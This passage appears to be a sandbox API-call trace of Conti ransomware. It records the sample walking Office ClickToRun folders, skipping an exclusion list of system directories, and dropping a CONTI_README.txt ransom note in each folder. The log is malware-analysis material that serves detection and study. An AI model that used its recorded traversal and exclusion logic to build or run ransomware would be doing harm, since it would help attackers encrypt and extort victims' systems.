	[0098.355] FindNextFileW (in: hFindFile=0x17c82b0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8826bb5f, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0x683c4eba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x683c4eba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2000002, cFileName="ProductReleases", cAlternateFileName="PRODUC~1")) returned 1
	[0098.355] lstrcmpiW (lpString1="ProductReleases", lpString2=".") returned 1
	[0098.355] lstrcmpiW (lpString1="ProductReleases", lpString2="..") returned 1
	[0098.355] lstrcmpiW (lpString1="ProductReleases", lpString2="tmp") returned -1
	[0098.355] lstrcmpiW (lpString1="ProductReleases", lpString2="winnt") returned -1
	[0098.355] lstrcmpiW (lpString1="ProductReleases", lpString2="Application Data") returned 1
	[0098.355] lstrcmpiW (lpString1="ProductReleases", lpString2="AppData") returned 1
	[0098.355] lstrcmpiW (lpString1="ProductReleases", lpString2="temp") returned -1
	[0098.355] lstrcmpiW (lpString1="ProductReleases", lpString2="thumb") returned -1
	[0098.355] lstrcmpiW (lpString1="ProductReleases", lpString2="$Recycle.Bin") returned 1
	[0098.355] lstrcmpiW (lpString1="ProductReleases", lpString2="$RECYCLE.BIN") returned 1
	[0098.355] lstrcmpiW (lpString1="ProductReleases", lpString2="System Volume Information") returned -1
	[0098.355] lstrcmpiW (lpString1="ProductReleases", lpString2="Program Files") returned -1
	[0098.355] lstrcmpiW (lpString1="ProductReleases", lpString2="Program Files (x86)") returned -1
	[0098.355] lstrcmpiW (lpString1="ProductReleases", lpString2="Boot") returned 1
	[0098.355] lstrcmpiW (lpString1="ProductReleases", lpString2="Windows") returned -1
	[0098.355] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun") returned 35
	[0098.355] lstrlenW (lpString="ProductReleases") returned 15
	[0098.355] GetProcessHeap () returned 0x1720000
	[0098.355] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x68) returned 0x1740ce0
	[0098.355] lstrcpyW (in: lpString1=0x1740ce0, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun") returned="C:\\ProgramData\\Microsoft\\ClickToRun"
	[0098.355] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\"
	[0098.355] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\", lpString2="ProductReleases" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases"
	[0098.355] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases") returned 51
	[0098.355] GetProcessHeap () returned 0x1720000
	[0098.355] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x6c) returned 0x1740988
	[0098.355] lstrcpyW (in: lpString1=0x1740988, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases"
	[0098.355] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\*") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\*"
	[0098.355] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases") returned 51
	[0098.356] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0098.356] GetProcessHeap () returned 0x1720000
	[0098.356] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x8a) returned 0x181c6b0
	[0098.356] lstrcpyW (in: lpString1=0x181c6b0, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases"
	[0098.356] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\"
	[0098.356] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\CONTI_README.txt"
	[0098.356] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0098.721] GetProcessHeap () returned 0x1720000
	[0098.721] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181c6b0 | out: hHeap=0x1720000) returned 1
	[0098.721] WriteFile (in: hFile=0x350, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f13c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f13c*=0xa2, lpOverlapped=0x0) returned 1
	[0098.722] CloseHandle (hObject=0x350) returned 1
	[0098.722] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\*", lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8826bb5f, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0x683c4eba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4eaff275, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c8430
	[0098.722] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0098.722] FindNextFileW (in: hFindFile=0x17c8430, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8826bb5f, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0x683c4eba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4eaff275, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0098.723] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0098.723] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0098.723] FindNextFileW (in: hFindFile=0x17c8430, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19bad881, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a320d06, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a320d06, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="5A65C4D7-3CDF-4BE4-8560-F036D300C13F", cAlternateFileName="5A65C4~1")) returned 1
	[0098.723] lstrcmpiW (lpString1="5A65C4D7-3CDF-4BE4-8560-F036D300C13F", lpString2=".") returned 1
	[0098.723] lstrcmpiW (lpString1="5A65C4D7-3CDF-4BE4-8560-F036D300C13F", lpString2="..") returned 1
	[0098.723] lstrcmpiW (lpString1="5A65C4D7-3CDF-4BE4-8560-F036D300C13F", lpString2="tmp") returned -1
	[0098.723] lstrcmpiW (lpString1="5A65C4D7-3CDF-4BE4-8560-F036D300C13F", lpString2="winnt") returned -1
	[0098.723] lstrcmpiW (lpString1="5A65C4D7-3CDF-4BE4-8560-F036D300C13F", lpString2="Application Data") returned -1
	[0098.723] lstrcmpiW (lpString1="5A65C4D7-3CDF-4BE4-8560-F036D300C13F", lpString2="AppData") returned -1
	[0098.723] lstrcmpiW (lpString1="5A65C4D7-3CDF-4BE4-8560-F036D300C13F", lpString2="temp") returned -1
	[0098.723] lstrcmpiW (lpString1="5A65C4D7-3CDF-4BE4-8560-F036D300C13F", lpString2="thumb") returned -1
	[0098.723] lstrcmpiW (lpString1="5A65C4D7-3CDF-4BE4-8560-F036D300C13F", lpString2="$Recycle.Bin") returned 1
	[0098.723] lstrcmpiW (lpString1="5A65C4D7-3CDF-4BE4-8560-F036D300C13F", lpString2="$RECYCLE.BIN") returned 1
	[0098.723] lstrcmpiW (lpString1="5A65C4D7-3CDF-4BE4-8560-F036D300C13F", lpString2="System Volume Information") returned -1
	[0098.723] lstrcmpiW (lpString1="5A65C4D7-3CDF-4BE4-8560-F036D300C13F", lpString2="Program Files") returned -1
	[0098.723] lstrcmpiW (lpString1="5A65C4D7-3CDF-4BE4-8560-F036D300C13F", lpString2="Program Files (x86)") returned -1
	[0098.723] lstrcmpiW (lpString1="5A65C4D7-3CDF-4BE4-8560-F036D300C13F", lpString2="Boot") returned -1
	[0098.723] lstrcmpiW (lpString1="5A65C4D7-3CDF-4BE4-8560-F036D300C13F", lpString2="Windows") returned -1
	[0098.723] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases") returned 51
	[0098.723] lstrlenW (lpString="5A65C4D7-3CDF-4BE4-8560-F036D300C13F") returned 36
	[0098.723] GetProcessHeap () returned 0x1720000
	[0098.723] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xb2) returned 0x17c61b0
	[0098.723] lstrcpyW (in: lpString1=0x17c61b0, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases"
	[0098.723] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\"
	[0098.723] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\", lpString2="5A65C4D7-3CDF-4BE4-8560-F036D300C13F" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F"
	[0098.723] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F") returned 88
	[0098.723] GetProcessHeap () returned 0x1720000
	[0098.723] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xb6) returned 0x17c6c78
	[0098.723] lstrcpyW (in: lpString1=0x17c6c78, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F"
	[0098.723] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\*") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\*"
	[0098.723] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F") returned 88
	[0098.723] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0098.723] GetProcessHeap () returned 0x1720000
	[0098.723] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xd4) returned 0x17c32b8
	[0098.723] lstrcpyW (in: lpString1=0x17c32b8, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F"
	[0098.723] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\"
	[0098.723] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\CONTI_README.txt"
	[0098.724] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0098.725] GetProcessHeap () returned 0x1720000
	[0098.725] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c32b8 | out: hHeap=0x1720000) returned 1
	[0098.725] WriteFile (in: hFile=0x37c, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3eecc, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3eecc*=0xa2, lpOverlapped=0x0) returned 1
	[0098.726] CloseHandle (hObject=0x37c) returned 1
	[0098.726] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\*", lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19bad881, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a320d06, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4eaff275, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x17c8270
	[0098.726] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0098.726] FindNextFileW (in: hFindFile=0x17c8270, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19bad881, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a320d06, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4eaff275, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0098.727] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0098.727] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0098.727] FindNextFileW (in: hFindFile=0x17c8270, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eaff275, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4eaff275, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4eaff275, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0098.727] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0098.727] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0098.727] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0098.727] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0098.727] FindNextFileW (in: hFindFile=0x17c8270, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a320d06, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a49e573, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a49e573, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-us.16", cAlternateFileName="")) returned 1
	[0098.727] lstrcmpiW (lpString1="en-us.16", lpString2=".") returned 1
	[0098.727] lstrcmpiW (lpString1="en-us.16", lpString2="..") returned 1
	[0098.727] lstrcmpiW (lpString1="en-us.16", lpString2="tmp") returned -1
	[0098.727] lstrcmpiW (lpString1="en-us.16", lpString2="winnt") returned -1
	[0098.727] lstrcmpiW (lpString1="en-us.16", lpString2="Application Data") returned 1
	[0098.727] lstrcmpiW (lpString1="en-us.16", lpString2="AppData") returned 1
	[0098.727] lstrcmpiW (lpString1="en-us.16", lpString2="temp") returned -1
	[0098.727] lstrcmpiW (lpString1="en-us.16", lpString2="thumb") returned -1
	[0098.727] lstrcmpiW (lpString1="en-us.16", lpString2="$Recycle.Bin") returned 1
	[0098.727] lstrcmpiW (lpString1="en-us.16", lpString2="$RECYCLE.BIN") returned 1
	[0098.727] lstrcmpiW (lpString1="en-us.16", lpString2="System Volume Information") returned -1
	[0098.727] lstrcmpiW (lpString1="en-us.16", lpString2="Program Files") returned -1
	[0098.727] lstrcmpiW (lpString1="en-us.16", lpString2="Program Files (x86)") returned -1
	[0098.727] lstrcmpiW (lpString1="en-us.16", lpString2="Boot") returned 1
	[0098.727] lstrcmpiW (lpString1="en-us.16", lpString2="Windows") returned -1
	[0098.727] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F") returned 88
	[0098.727] lstrlenW (lpString="en-us.16") returned 8
	[0098.727] GetProcessHeap () returned 0x1720000
	[0098.727] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc4) returned 0x17c32b8
	[0098.727] lstrcpyW (in: lpString1=0x17c32b8, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F"
	[0098.727] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\"
	[0098.727] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\", lpString2="en-us.16" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16"
	[0098.727] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16") returned 97
	[0098.727] GetProcessHeap () returned 0x1720000
	[0098.727] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc8) returned 0x17c7180
	[0098.727] lstrcpyW (in: lpString1=0x17c7180, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16"
	[0098.727] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\*") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\*"
	[0098.727] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16") returned 97
	[0098.728] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0098.728] GetProcessHeap () returned 0x1720000
	[0098.728] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xe6) returned 0x17d0428
	[0098.728] lstrcpyW (in: lpString1=0x17d0428, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16"
	[0098.728] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\"
	[0098.728] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\CONTI_README.txt"
	[0098.728] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0098.730] GetProcessHeap () returned 0x1720000
	[0098.731] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d0428 | out: hHeap=0x1720000) returned 1
	[0098.731] WriteFile (in: hFile=0x380, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3ec5c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3ec5c*=0xa2, lpOverlapped=0x0) returned 1
	[0098.731] CloseHandle (hObject=0x380) returned 1
	[0098.732] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\*", lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a320d06, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a49e573, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4eaff275, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c7f30
	[0098.732] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0098.732] FindNextFileW (in: hFindFile=0x17c7f30, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a320d06, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a49e573, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4eaff275, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0098.732] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0098.732] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0098.732] FindNextFileW (in: hFindFile=0x17c7f30, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eaff275, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4eaff275, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4eaff275, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0098.732] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0098.732] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0098.732] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0098.732] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
